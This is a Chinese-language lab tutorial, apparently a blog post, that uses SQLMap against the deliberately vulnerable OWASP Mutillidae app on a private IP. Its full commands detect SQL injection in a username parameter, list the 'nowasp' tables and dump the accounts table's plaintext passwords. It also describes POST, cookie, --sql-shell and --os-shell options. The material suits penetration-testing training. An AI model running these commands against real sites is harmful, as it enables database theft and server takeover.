正如前文描述的一樣,SQL 注入是一個繁瑣的過程。SQLMap這個命令行工具,能通過多找那個技術手段,自動化的識別和利用多種數據庫的SQL注入漏洞
下面,使用SQLMap識別和利用一個SQL注入漏洞,并最終獲取該應用的用戶名和密碼
實踐
-
跳轉到 OWASP Top 10 | A1 – SQL Injection | SQLi Extract Data | User Info
Paste_Image.png -
輸入任意用戶名和密碼,如(user/password),然后點擊** View Account Details**
Paste_Image.png 登陸失敗,但請注意URL,里面包含登陸參數,拷貝完整URL
下面,在命令行輸入以下命令:
sqlmap -u "http://192.168.150.143/mutillidae/index.php?page=user-info.php&username=user&password=password&user-info-php-submit-button=View+Account+Details" -p username --current-user --current-db
- 如圖,sqlmap檢測到應用所使用的DBMS,會詢問是否跳過檢測其他DBMS,這里,輸入 Y 跳過檢測其它數據庫,輸入 N 包含所有檢測
-
一旦我們指定的參數被檢出存在注入漏洞,SQLMap會詢問是否檢測其他參數,這里我們選擇 N
Paste_Image.png
Paste_Image.png - 確認注入點后,我們執行下面的命令,獲取目標庫中的所有表格:
sqlmap -u "http://192.168.150.143/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" -p username -D nowasp --tables
SQLMap會將掃描過的結果報錯到日志中,所以第二次攻擊的掃描時間較第一次短了很多。這條命令指定了數據庫,并告知SQLMap返回這個庫的所有表名
- 如圖,accounts表,就是包含我們需要信息的表,查看下其中的內容:
sqlmap -u "http://192.168.150.143/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" -p username -D nowasp -T accounts --dump
如圖,是所有用戶的用戶名和密碼,其中,密碼是明文存儲的,我們可以直接使用
總結
SQLMap 會嘗試所有可能的輸入到給出的URL和data,如果使用 -p 參數指定參數,則只會對指定的參數進行注入測試。實際操作,盡量不要fuzz所有的輸入,盡可能提供詳細的信息(漏洞參數、DBMS類型等)來縮減搜索過程。如果全部都掃描的話,既浪費時間,又浪費網絡帶寬
上文中,我們已經知道username參數是注入點,第一次攻擊,確認該注入點,獲取基礎信息:
- user name (--curent-user)
- database name (--current-db)
第二次攻擊,-D 參數指定了要查詢的數據庫,--tables 參數列出了庫中所有表格名稱
確定了要脫的表格,使用參數 (-T accounts)指定表,使用參數 --dump 指定操作類型,獲取指定表格內容
除了GET請求,SQLMap也能處理POST請求中的參數,使用參數 --data 后跟 POST data(雙引號括起來):
--data "username=test&password=test"
有些URL需要訪問權限,因此,可以通過添加cookie的方式,使用 --cookie參數,指定一個有效的會話cookie:
--cookie "PHPSESSID=ckleiuvrv60fs012hlj72eeh37"
這個功能也可以用來測試cookie注入點的情況
另一個強大的功能,使用參數 --sql-shell,SQLMap可以給我們提供一個SQL shell,我們可以在shell里直接執行查詢語句, 更牛逼的是,可以使用 --os-shell 參數獲取系統shell,執行database服務器系統級別的命令(這個功能尤其適合 Microsoft SQL Server)
更詳細的信息,記得參考官方幫助:
sqlmap --help